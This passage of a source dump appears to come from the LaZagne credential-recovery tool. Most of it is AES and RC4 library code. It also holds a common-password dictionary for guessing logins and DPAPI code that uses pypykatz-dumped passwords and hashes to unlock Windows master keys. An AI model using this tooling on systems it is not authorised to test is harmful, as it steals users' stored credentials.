_string_to_bytes(iv)\n\n        AESBlockModeOfOperation.__init__(self, key)\n\n    def encrypt(self, plaintext):\n        if len(plaintext) != 16:\n            raise ValueError('plaintext block must be 16 bytes')\n\n        plaintext = _string_to_bytes(plaintext)\n        precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]\n        self._last_cipherblock = self._aes.encrypt(precipherblock)\n\n        return _bytes_to_string(self._last_cipherblock)\n\n    def decrypt(self, ciphertext):\n        if len(ciphertext) != 16:\n            raise ValueError('ciphertext block must be 16 bytes')\n\n        cipherblock = _string_to_bytes(ciphertext)\n        plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]\n        self._last_cipherblock = cipherblock\n\n        return _bytes_to_string(plaintext)\n\n\n\nclass AESModeOfOperationCFB(AESSegmentModeOfOperation):\n    '''AES Cipher Feedback Mode of Operation.\n\n       o A stream-cipher, so input does not need to be padded to blocks,\n         but does need to be padded to segment_size\n\n    Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3'''\n\n\n    name = \"Cipher Feedback (CFB)\"\n\n    def __init__(self, key, iv, segment_size = 1):\n        if segment_size == 0: segment_size = 1\n\n        if iv is None:\n            self._shift_register = [ 0 ] * 16\n        elif len(iv) != 16:\n            raise ValueError('initialization vector must be 16 bytes')\n        else:\n          self._shift_register = _string_to_bytes(iv)\n\n        self._segment_bytes = segment_size\n\n        AESBlockModeOfOperation.__init__(self, key)\n\n    segment_bytes = property(lambda s: s._segment_bytes)\n\n    def encrypt(self, plaintext):\n        if len(plaintext) % self._segment_bytes != 0:\n            raise ValueError('plaintext block must be a multiple of segment_size')\n\n        plaintext = _string_to_bytes(plaintext)\n\n        # Break block into segments\n        encrypted = [ ]\n        for i in xrange(0, len(plaintext), self._segment_bytes):\n            plaintext_segment = plaintext[i: i + self._segment_bytes]\n            xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)]\n            cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ]\n\n            # Shift the top bits out and the ciphertext in\n            self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)\n\n            encrypted.extend(cipher_segment)\n\n        return _bytes_to_string(encrypted)\n\n    def decrypt(self, ciphertext):\n        if len(ciphertext) % self._segment_bytes != 0:\n            raise ValueError('ciphertext block must be a multiple of segment_size')\n\n        ciphertext = _string_to_bytes(ciphertext)\n\n        # Break block into segments\n        decrypted = [ ]\n        for i in xrange(0, len(ciphertext), self._segment_bytes):\n            cipher_segment = ciphertext[i: i + self._segment_bytes]\n            xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)]\n            plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ]\n\n            # Shift the top bits out and the ciphertext in\n            self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)\n\n            decrypted.extend(plaintext_segment)\n\n        return _bytes_to_string(decrypted)\n\n\n\nclass AESModeOfOperationOFB(AESStreamModeOfOperation):\n    '''AES Output Feedback Mode of Operation.\n\n       o A stream-cipher, so input does not need to be padded to blocks,\n         allowing arbitrary length data.\n       o A bit twiddled in the cipher text, twiddles the same bit in the\n         same bit in the plain text, which can be useful for error\n         correction techniques.\n\n    Also see:\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4'''\n\n\n    name = \"Output Feedback (OFB)\"\n\n    def __init__(self, key, iv = None):\n        if iv is None:\n            self._last_precipherblock = [ 0 ] * 16\n        elif len(iv) != 16:\n            raise ValueError('initialization vector must be 16 bytes')\n        else:\n          self._last_precipherblock = _string_to_bytes(iv)\n\n        self._remaining_block = [ ]\n\n        AESBlockModeOfOperation.__init__(self, key)\n\n    def encrypt(self, plaintext):\n        encrypted = [ ]\n        for p in _string_to_bytes(plaintext):\n            if len(self._remaining_block) == 0:\n                self._remaining_block = self._aes.encrypt(self._last_precipherblock)\n                self._last_precipherblock = [ ]\n            precipherbyte = self._remaining_block.pop(0)\n            self._last_precipherblock.append(precipherbyte)\n            cipherbyte = p ^ precipherbyte\n            encrypted.append(cipherbyte)\n\n        return _bytes_to_string(encrypted)\n\n    def decrypt(self, ciphertext):\n        # AES-OFB is symetric\n        return self.encrypt(ciphertext)\n\n\n\nclass AESModeOfOperationCTR(AESStreamModeOfOperation):\n    '''AES Counter Mode of Operation.\n\n       o A stream-cipher, so input does not need to be padded to blocks,\n         allowing arbitrary length data.\n       o The counter must be the same size as the key size (ie. len(key))\n       o Each block independant of the other, so a corrupt byte will not\n         damage future blocks.\n       o Each block has a uniue counter value associated with it, which\n         contributes to the encrypted value, so no data patterns are\n         leaked.\n       o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and\n         Segmented Integer Counter (SIC\n\n   Security Notes:\n       o This method (and CBC) ARE recommended.\n       o Each message block is associated with a counter value which must be\n         unique for ALL messages with the same key. Otherwise security may be\n         compromised.\n\n    Also see:\n\n       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29\n       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5\n         and Appendix B for managing the initial counter'''\n\n\n    name = \"Counter (CTR)\"\n\n    def __init__(self, key, counter = None):\n        AESBlockModeOfOperation.__init__(self, key)\n\n        if counter is None:\n            counter = Counter()\n\n        self._counter = counter\n        self._remaining_counter = [ ]\n\n    def encrypt(self, plaintext):\n        while len(self._remaining_counter) < len(plaintext):\n            self._remaining_counter += self._aes.encrypt(self._counter.value)\n            self._counter.increment()\n\n        plaintext = _string_to_bytes(plaintext)\n\n        encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ]\n        self._remaining_counter = self._remaining_counter[len(encrypted):]\n\n        return _bytes_to_string(encrypted)\n\n    def decrypt(self, crypttext):\n        # AES-CTR is symetric\n        return self.encrypt(crypttext)\n\n\n# Simple lookup table for each mode\nAESModesOfOperation = dict(\n    ctr = AESModeOfOperationCTR,\n    cbc = AESModeOfOperationCBC,\n    cfb = AESModeOfOperationCFB,\n    ecb = AESModeOfOperationECB,\n    ofb = AESModeOfOperationOFB,\n)\n"
  },
  {
    "path": "Windows/lazagne/config/crypto/pyaes/blockfeeder.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n\nfrom .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation\nfrom .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable\n\n\n# First we inject three functions to each of the modes of operations\n#\n#    _can_consume(size)\n#       - Given a size, determine how many bytes could be consumed in\n#         a single call to either the decrypt or encrypt method\n#\n#    _final_encrypt(data, padding = PADDING_DEFAULT)\n#       - call and return encrypt on this (last) chunk of data,\n#         padding as necessary; this will always be at least 16\n#         bytes unless the total incoming input was less than 16\n#         bytes\n#\n#    _final_decrypt(data, padding = PADDING_DEFAULT)\n#       - same as _final_encrypt except for decrypt, for\n#         stripping off padding\n#\n\nPADDING_NONE       = 'none'\nPADDING_DEFAULT    = 'default'\n\n# @TODO: Ciphertext stealing and explicit PKCS#7\n# PADDING_CIPHERTEXT_STEALING\n# PADDING_PKCS7\n\n# ECB and CBC are block-only ciphers\n\ndef _block_can_consume(self, size):\n    if size >= 16: return 16\n    return 0\n\n# After padding, we may have more than one block\ndef _block_final_encrypt(self, data, padding = PADDING_DEFAULT):\n    if padding == PADDING_DEFAULT:\n        data = append_PKCS7_padding(data)\n\n    elif padding == PADDING_NONE:\n        if len(data) != 16:\n            raise Exception('invalid data length for final block')\n    else:\n        raise Exception('invalid padding option')\n\n    if len(data) == 32:\n        return self.encrypt(data[:16]) + self.encrypt(data[16:])\n\n    return self.encrypt(data)\n\n\ndef _block_final_decrypt(self, data, padding = PADDING_DEFAULT):\n    if padding == PADDING_DEFAULT:\n        return strip_PKCS7_padding(self.decrypt(data))\n\n    if padding == PADDING_NONE:\n        if len(data) != 16:\n            raise Exception('invalid data length for final block')\n        return self.decrypt(data)\n\n    raise Exception('invalid padding option')\n\nAESBlockModeOfOperation._can_consume = _block_can_consume\nAESBlockModeOfOperation._final_encrypt = _block_final_encrypt\nAESBlockModeOfOperation._final_decrypt = _block_final_decrypt\n\n\n\n# CFB is a segment cipher\n\ndef _segment_can_consume(self, size):\n    return self.segment_bytes * int(size // self.segment_bytes)\n\n# CFB can handle a non-segment-sized block at the end using the remaining cipherblock\ndef _segment_final_encrypt(self, data, padding = PADDING_DEFAULT):\n    if padding != PADDING_DEFAULT:\n        raise Exception('invalid padding option')\n\n    faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))\n    padded = data + to_bufferable(faux_padding)\n    return self.encrypt(padded)[:len(data)]\n\n# CFB can handle a non-segment-sized block at the end using the remaining cipherblock\ndef _segment_final_decrypt(self, data, padding = PADDING_DEFAULT):\n    if padding != PADDING_DEFAULT:\n        raise Exception('invalid padding option')\n\n    faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes)))\n    padded = data + to_bufferable(faux_padding)\n    return self.decrypt(padded)[:len(data)]\n\nAESSegmentModeOfOperation._can_consume = _segment_can_consume\nAESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt\nAESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt\n\n\n\n# OFB and CTR are stream ciphers\n\ndef _stream_can_consume(self, size):\n    return size\n\ndef _stream_final_encrypt(self, data, padding = PADDING_DEFAULT):\n    if padding not in [PADDING_NONE, PADDING_DEFAULT]:\n        raise Exception('invalid padding option')\n\n    return self.encrypt(data)\n\ndef _stream_final_decrypt(self, data, padding = PADDING_DEFAULT):\n    if padding not in [PADDING_NONE, PADDING_DEFAULT]:\n        raise Exception('invalid padding option')\n\n    return self.decrypt(data)\n\nAESStreamModeOfOperation._can_consume = _stream_can_consume\nAESStreamModeOfOperation._final_encrypt = _stream_final_encrypt\nAESStreamModeOfOperation._final_decrypt = _stream_final_decrypt\n\n\n\nclass BlockFeeder(object):\n    '''The super-class for objects to handle chunking a stream of bytes\n       into the appropriate block size for the underlying mode of operation\n       and applying (or stripping) padding, as necessary.'''\n\n    def __init__(self, mode, feed, final, padding = PADDING_DEFAULT):\n        self._mode = mode\n        self._feed = feed\n        self._final = final\n        self._buffer = to_bufferable(\"\")\n        self._padding = padding\n\n    def feed(self, data = None):\n        '''Provide bytes to encrypt (or decrypt), returning any bytes\n           possible from this or any previous calls to feed.\n\n           Call with None or an empty string to flush the mode of\n           operation and return any final bytes; no further calls to\n           feed may be made.'''\n\n        if self._buffer is None:\n            raise ValueError('already finished feeder')\n\n        # Finalize; process the spare bytes we were keeping\n        if data is None:\n            result = self._final(self._buffer, self._padding)\n            self._buffer = None\n            return result\n\n        self._buffer += to_bufferable(data)\n\n        # We keep 16 bytes around so we can determine padding\n        result = to_bufferable('')\n        while len(self._buffer) > 16:\n            can_consume = self._mode._can_consume(len(self._buffer) - 16)\n            if can_consume == 0: break\n            result += self._feed(self._buffer[:can_consume])\n            self._buffer = self._buffer[can_consume:]\n\n        return result\n\n\nclass Encrypter(BlockFeeder):\n    'Accepts bytes of plaintext and returns encrypted ciphertext.'\n\n    def __init__(self, mode, padding = PADDING_DEFAULT):\n        BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding)\n\n\nclass Decrypter(BlockFeeder):\n    'Accepts bytes of ciphertext and returns decrypted plaintext.'\n\n    def __init__(self, mode, padding = PADDING_DEFAULT):\n        BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding)\n\n\n# 8kb blocks\nBLOCK_SIZE = (1 << 13)\n\ndef _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE):\n    'Uses feeder to read and convert from in_stream and write to out_stream.'\n\n    while True:\n        chunk = in_stream.read(block_size)\n        if not chunk:\n            break\n        converted = feeder.feed(chunk)\n        out_stream.write(converted)\n    converted = feeder.feed()\n    out_stream.write(converted)\n\n\ndef encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):\n    'Encrypts a stream of bytes from in_stream to out_stream using mode.'\n\n    encrypter = Encrypter(mode, padding = padding)\n    _feed_stream(encrypter, in_stream, out_stream, block_size)\n\n\ndef decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT):\n    'Decrypts a stream of bytes from in_stream to out_stream using mode.'\n\n    decrypter = Decrypter(mode, padding = padding)\n    _feed_stream(decrypter, in_stream, out_stream, block_size)\n"
  },
  {
    "path": "Windows/lazagne/config/crypto/pyaes/util.py",
    "content": "# The MIT License (MIT)\n#\n# Copyright (c) 2014 Richard Moore\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\n# Why to_bufferable?\n# Python 3 is very different from Python 2.x when it comes to strings of text\n# and strings of bytes; in Python 3, strings of bytes do not exist, instead to\n# represent arbitrary binary data, we must use the \"bytes\" object. This method\n# ensures the object behaves as we need it to.\n\ndef to_bufferable(binary):\n    return binary\n\ndef _get_byte(c):\n    return ord(c)\n\ntry:\n    xrange\nexcept NameError:\n\n    def to_bufferable(binary):\n        if isinstance(binary, bytes):\n            return binary\n        return bytes(ord(b) for b in binary)\n\n    def _get_byte(c):\n        return c\n\ndef append_PKCS7_padding(data):\n    pad = 16 - (len(data) % 16)\n    return data + to_bufferable(chr(pad) * pad)\n\ndef strip_PKCS7_padding(data):\n    if len(data) % 16 != 0:\n        raise ValueError(\"invalid length\")\n\n    pad = _get_byte(data[-1])\n\n    if pad > 16:\n        raise ValueError(\"invalid padding byte\")\n\n    return data[:-pad]\n"
  },
  {
    "path": "Windows/lazagne/config/crypto/rc4.py",
    "content": "# Thanks to g2jun for his RC4-Python project\n# Code from https://github.com/g2jun/RC4-Python\n\nfrom lazagne.config.winstructure import char_to_int, chr_or_byte\n\n\nclass RC4(object):\n\n    def __init__(self, key):\n        self.key_bytes = self.text_to_bytes(key)\n\n    def text_to_bytes(self, text):\n        byte_list = []\n\n        # on Windows, default coding for Chinese is GBK\n        # s = s.decode('gbk').encode('utf-8')\n        for byte in text:\n            byte_list.append(char_to_int(byte))\n\n        return byte_list\n\n    def bytes_to_text(self, byte_list):\n        s = b''\n        for byte in byte_list:\n            s += chr_or_byte(byte)\n        return s\n\n    def encrypt(self, data):\n        plain_bytes = self.text_to_bytes(data)\n        keystream_bytes, cipher_bytes = self.crypt(plain_bytes, self.key_bytes)\n        return self.bytes_to_text(cipher_bytes)\n\n    def crypt(self, plain_bytes, key_bytes):\n\n        keystream_list = []\n        cipher_list = []\n\n        key_len = len(key_bytes)\n        plain_len = len(plain_bytes)\n        S = list(range(256))\n\n        j = 0\n        for i in range(256):\n            j = (j + S[i] + key_bytes[i % key_len]) % 256\n            S[i], S[j] = S[j], S[i]\n\n        i = 0\n        j = 0\n        for m in range(plain_len):\n            i = (i + 1) % 256\n            j = (j + S[i]) % 256\n            S[i], S[j] = S[j], S[i]\n            k = S[(S[i] + S[j]) % 256]\n            keystream_list.append(k)\n            cipher_list.append(k ^ plain_bytes[m])\n\n        return keystream_list, cipher_list"
  },
  {
    "path": "Windows/lazagne/config/dico.py",
    "content": "def get_dic():\n    return [\n        b\"password\",\n        b\"123456\",\n        b\"12345678\",\n        b\"1234\",\n        b\"qwerty\",\n        b\"12345\",\n        b\"dragon\",\n        b\"pussy\",\n        b\"baseball\",\n        b\"football\",\n        b\"letmein\",\n        b\"monkey\",\n        b\"696969\",\n        b\"abc123\",\n        b\"mustang\",\n        b\"michael\",\n        b\"shadow\",\n        b\"master\",\n        b\"jennifer\",\n        b\"111111\",\n        b\"2000\",\n        b\"jordan\",\n        b\"superman\",\n        b\"harley\",\n        b\"1234567\",\n        b\"fuckme\",\n        b\"hunter\",\n        b\"fuckyob\",\n        b\"trustno1\",\n        b\"ranger\",\n        b\"buster\",\n        b\"thomas\",\n        b\"tigger\",\n        b\"robert\",\n        b\"soccer\",\n        b\"fuck\",\n        b\"batman\",\n        b\"test\",\n        b\"pass\",\n        b\"killer\",\n        b\"hockey\",\n        b\"george\",\n        b\"charlie\",\n        b\"andrew\",\n        b\"michelle\",\n        b\"love\",\n        b\"sunshine\",\n        b\"jessica\",\n        b\"asshole\",\n        b\"6969\",\n        b\"pepper\",\n        b\"daniel\",\n        b\"access\",\n        b\"123456789\",\n        b\"654321\",\n        b\"joshua\",\n        b\"maggie\",\n        b\"starwars\",\n        b\"silver\",\n        b\"william\",\n        b\"dallas\",\n        b\"yankees\",\n        b\"123123\",\n        b\"ashley\",\n        b\"666666\",\n        b\"hello\",\n        b\"amanda\",\n        b\"orange\",\n        b\"biteme\",\n        b\"freedom\",\n        b\"computer\",\n        b\"sexy\",\n        b\"thunder\",\n        b\"nicole\",\n        b\"ginger\",\n        b\"heather\",\n        b\"hammer\",\n        b\"summer\",\n        b\"corvette\",\n        b\"taylor\",\n        b\"fucker\",\n        b\"austin\",\n        b\"1111\",\n        b\"merlin\",\n        b\"matthew\",\n        b\"121212\",\n        b\"golfer\",\n        b\"cheese\",\n        b\"princess\",\n        b\"martin\",\n        b\"chelsea\",\n        b\"patrick\",\n        b\"richard\",\n        b\"diamond\",\n        b\"yellow\",\n        b\"bigdog\",\n        b\"secret\",\n        b\"asdfgh\",\n        b\"sparky\",\n        b\"cowboy\",\n        b\"camaro\",\n        b\"anthony\",\n        b\"matrix\",\n        b\"falcon\",\n        b\"iloveyob\",\n        b\"bailey\",\n        b\"guitar\",\n        b\"jackson\",\n        b\"purple\",\n        b\"scooter\",\n        b\"phoenix\",\n        b\"aaaaaa\",\n        b\"morgan\",\n        b\"tigers\",\n        b\"porsche\",\n        b\"mickey\",\n        b\"maverick\",\n        b\"cookie\",\n        b\"nascar\",\n        b\"peanut\",\n        b\"justin\",\n        b\"131313\",\n        b\"money\",\n        b\"horny\",\n        b\"samantha\",\n        b\"panties\",\n        b\"steelers\",\n        b\"joseph\",\n        b\"snoopy\",\n        b\"boomer\",\n        b\"whatever\",\n        b\"iceman\",\n        b\"smokey\",\n        b\"gateway\",\n        b\"dakota\",\n        b\"cowboys\",\n        b\"eagles\",\n        b\"chicken\",\n        b\"dick\",\n        b\"black\",\n        b\"zxcvbn\",\n        b\"please\",\n        b\"andrea\",\n        b\"ferrari\",\n        b\"knight\",\n        b\"hardcore\",\n        b\"melissa\",\n        b\"compaq\",\n        b\"coffee\",\n        b\"booboo\",\n        b\"bitch\",\n        b\"johnny\",\n        b\"bulldog\",\n        b\"xxxxxx\",\n        b\"welcome\",\n        b\"james\",\n        b\"player\",\n        b\"ncc1701\",\n        b\"wizard\",\n        b\"scooby\",\n        b\"charles\",\n        b\"junior\",\n        b\"internet\",\n        b\"bigdick\",\n        b\"mike\",\n        b\"brandy\",\n        b\"tennis\",\n        b\"blowjob\",\n        b\"banana\",\n        b\"monster\",\n        b\"spider\",\n        b\"lakers\",\n        b\"miller\",\n        b\"rabbit\",\n        b\"enter\",\n        b\"mercedes\",\n        b\"brandon\",\n        b\"steven\",\n        b\"fender\",\n        b\"john\",\n        b\"yamaha\",\n        b\"diablo\",\n        b\"chris\",\n        b\"boston\",\n        b\"tiger\",\n        b\"marine\",\n        b\"chicago\",\n        b\"rangers\",\n        b\"gandalf\",\n        b\"winter\",\n        b\"bigtits\",\n        b\"barney\",\n        b\"edward\",\n        b\"raiders\",\n        b\"porn\",\n        b\"badboy\",\n        b\"blowme\",\n        b\"spanky\",\n        b\"bigdaddy\",\n        b\"johnson\",\n        b\"chester\",\n        b\"london\",\n        b\"midnight\",\n        b\"blue\",\n        b\"fishing\",\n        b\"000000\",\n        b\"hannah\",\n        b\"slayer\",\n        b\"11111111\",\n        b\"rachel\",\n        b\"sexsex\",\n        b\"redsox\",\n        b\"thx1138\",\n        b\"asdf\",\n        b\"marlboro\",\n        b\"panther\",\n        b\"zxcvbnm\",\n        b\"arsenal\",\n        b\"oliver\",\n        b\"qazwsx\",\n        b\"mother\",\n        b\"victoria\",\n        b\"7777777\",\n        b\"jasper\",\n        b\"angel\",\n        b\"david\",\n        b\"winner\",\n        b\"crystal\",\n        b\"golden\",\n        b\"butthead\",\n        b\"viking\",\n        b\"jack\",\n        b\"iwantb\",\n        b\"shannon\",\n        b\"murphy\",\n        b\"angels\",\n        b\"prince\",\n        b\"cameron\",\n        b\"girls\",\n        b\"madison\",\n        b\"wilson\",\n        b\"carlos\",\n        b\"hooters\",\n        b\"willie\",\n        b\"startrek\",\n        b\"captain\",\n        b\"maddog\",\n        b\"jasmine\",\n        b\"butter\",\n        b\"booger\",\n        b\"angela\",\n        b\"golf\",\n        b\"lauren\",\n        b\"rocket\",\n        b\"tiffany\",\n        b\"theman\",\n        b\"dennis\",\n        b\"liverpoo\",\n        b\"flower\",\n        b\"forever\",\n        b\"green\",\n        b\"jackie\",\n        b\"muffin\",\n        b\"turtle\",\n        b\"sophie\",\n        b\"danielle\",\n        b\"redskins\",\n        b\"toyota\",\n        b\"jason\",\n        b\"sierra\",\n        b\"winston\",\n        b\"debbie\",\n        b\"giants\",\n        b\"packers\",\n        b\"newyork\",\n        b\"jeremy\",\n        b\"casper\",\n        b\"bubba\",\n        b\"112233\",\n        b\"sandra\",\n        b\"lovers\",\n        b\"mountain\",\n        b\"united\",\n        b\"cooper\",\n        b\"driver\",\n        b\"tucker\",\n        b\"helpme\",\n        b\"fucking\",\n        b\"pookie\",\n        b\"lucky\",\n        b\"maxwell\",\n        b\"8675309\",\n        b\"bear\",\n        b\"suckit\",\n        b\"gators\",\n        b\"5150\",\n        b\"222222\",\n        b\"shithead\",\n        b\"fuckoff\",\n        b\"jaguar\",\n        b\"monica\",\n        b\"fred\",\n        b\"happy\",\n        b\"hotdog\",\n        b\"tits\",\n        b\"gemini\",\n        b\"lover\",\n        b\"xxxxxxxx\",\n        b\"777777\",\n        b\"canada\",\n        b\"nathan\",\n        b\"victor\",\n        b\"florida\",\n        b\"88888888\",\n        b\"nicholas\",\n        b\"rosebud\",\n        b\"metallic\",\n        b\"doctor\",\n        b\"trouble\",\n        b\"success\",\n        b\"stupid\",\n        b\"tomcat\",\n        b\"warrior\",\n        b\"peaches\",\n        b\"apples\",\n        b\"fish\",\n        b\"qwertyui\",\n        b\"magic\",\n        b\"buddy\",\n        b\"dolphins\",\n        b\"rainbow\",\n        b\"gunner\",\n        b\"987654\",\n        b\"freddy\",\n        b\"alexis\",\n        b\"braves\",\n        b\"cock\",\n        b\"2112\",\n        b\"1212\",\n        b\"cocacola\",\n        b\"xavier\",\n        b\"dolphin\",\n        b\"testing\",\n        b\"bond007\",\n        b\"member\",\n        b\"calvin\",\n        b\"voodoo\",\n        b\"7777\",\n        b\"samson\",\n        b\"alex\",\n        b\"apollo\",\n        b\"fire\",\n        b\"tester\",\n        b\"walter\",\n        b\"beavis\",\n        b\"voyager\",\n        b\"peter\",\n        b\"porno\",\n        b\"bonnie\",\n        b\"rush2112\",\n        b\"beer\",\n        b\"apple\",\n        b\"scorpio\",\n        b\"jonathan\",\n        b\"skippy\",\n        b\"sydney\",\n        b\"scott\",\n        b\"red123\",\n        b\"power\",\n        b\"gordon\",\n        b\"travis\",\n        b\"beaver\",\n        b\"star\",\n        b\"jackass\",\n        b\"flyers\",\n        b\"boobs\",\n        b\"232323\",\n        b\"zzzzzz\",\n        b\"steve\",\n        b\"rebecca\",\n        b\"scorpion\",\n        b\"doggie\",\n        b\"legend\",\n        b\"ou812\",\n        b\"yankee\",\n        b\"blazer\",\n        b\"bill\",\n        b\"runner\",\n        b\"birdie\",\n        b\"bitches\",\n        b\"555555\",\n        b\"parker\",\n        b\"topgun\",\n        b\"asdfasdf\",\n        b\"heaven\",\n        b\"viper\",\n        b\"animal\",\n        b\"2222\",\n        b\"bigboy\",\n        b\"4444\",\n        b\"arthur\",\n        b\"baby\",\n        b\"private\",\n        b\"godzilla\",\n        b\"donald\",\n        b\"williams\",\n        b\"lifehack\",\n        b\"phantom\",\n        b\"dave\",\n        b\"rock\",\n        b\"august\",\n        b\"sammy\",\n        b\"cool\",\n        b\"brian\",\n        b\"platinum\",\n        b\"jake\",\n        b\"bronco\",\n        b\"paul\",\n        b\"mark\",\n        b\"frank\",\n        b\"heka6w2\",\n        b\"copper\",\n        b\"billy\",\n        b\"cumshot\",\n        b\"garfield\",\n        b\"willow\",\n        b\"cunt\",\n        b\"little\",\n        b\"carter\",\n        b\"slut\",\n        b\"albert\",\n        b\"69696969\",\n        b\"kitten\",\n        b\"super\",\n        b\"jordan23\",\n        b\"eagle1\",\n        b\"shelby\",\n        b\"america\",\n        b\"11111\",\n        b\"jessie\",\n        b\"house\",\n        b\"free\",\n        b\"123321\",\n        b\"chevy\",\n        b\"bullshit\",\n        b\"white\",\n        b\"broncos\",\n        b\"horney\",\n        b\"surfer\",\n        b\"nissan\",\n        b\"999999\",\n        b\"saturn\",\n        b\"airborne\",\n        b\"elephant\",\n        b\"marvin\",\n        b\"shit\",\n        b\"action\",\n        b\"adidas\",\n        b\"qwert\",\n        b\"kevin\",\n        b\"1313\",\n        b\"explorer\",\n        b\"walker\",\n        b\"police\",\n        b\"christin\",\n        b\"december\",\n        b\"benjamin\",\n        b\"wolf\",\n        b\"sweet\",\n        b\"therock\",\n        b\"king\",\n        b\"online\",\n        b\"dickhead\",\n        b\"brooklyn\",\n        b\"teresa\",\n        b\"cricket\",\n        b\"sharon\",\n        b\"dexter\",\n        b\"racing\",\n        b\"penis\",\n        b\"gregory\",\n        b\"0000\",\n        b\"teens\",\n        b\"redwings\",\n        b\"dreams\",\n        b\"michigan\",\n        b\"hentai\",\n        b\"magnum\",\n        b\"87654321\",\n        b\"nothing\",\n        b\"donkey\",\n        b\"trinity\",\n        b\"digital\",\n        b\"333333\",\n        b\"stella\",\n        b\"cartman\",\n        b\"guinness\",\n        b\"123abc\",\n        b\"speedy\",\n        b\"buffalo\",\n        b\"kitty\"]\n"
  },
  {
    "path": "Windows/lazagne/config/dpapi_structure.py",
    "content": "#!/usr/bin/python\n# -*- coding: utf-8 -*- \nimport codecs\nimport os\n\nfrom lazagne.config.DPAPI.masterkey import MasterKeyPool\nfrom lazagne.config.DPAPI.credfile import CredFile\nfrom lazagne.config.DPAPI.vault import Vault\nfrom lazagne.config.DPAPI.blob import DPAPIBlob\nfrom lazagne.config.write_output import print_debug\nfrom lazagne.config.constant import constant\nfrom lazagne.softwares.windows.lsa_secrets import LSASecrets\n\n\ndef are_masterkeys_retrieved():\n    \"\"\"\n    Before running modules using DPAPI, we have to retrieve masterkeys\n    otherwise, we do not realize these checks\n    \"\"\"\n    current_user = constant.username\n    if constant.pypykatz_result.get(current_user, None):\n        password = constant.pypykatz_result[current_user].get('Password', None)\n        pwdhash = constant.pypykatz_result[current_user].get('Shahash', None)\n\n        # Create one DPAPI object by user\n        constant.user_dpapi = UserDpapi(password=password, pwdhash=pwdhash)\n\n    if not constant.user_dpapi or not constant.user_dpapi.unlocked:\n        # constant.user_password represents the password entered manually by the user\n        constant.user_dpapi = UserDpapi(password=constant.user_password)\n\n        # Add username to check username equals passwords\n        constant.user_dpapi.check_credentials([constant.username] + constant.password_found)\n\n    # Return True if at least one masterkey has been decrypted\n    return constant.user_dpapi.unlocked\n\n\ndef manage_response(ok, msg):\n    if ok:\n        return msg\n    else:\n        print_debug('DEBUG', u'{msg}'.format(msg=msg))\n        return False\n\n\nclass UserDpapi(object):\n    \"\"\"\n    User class for 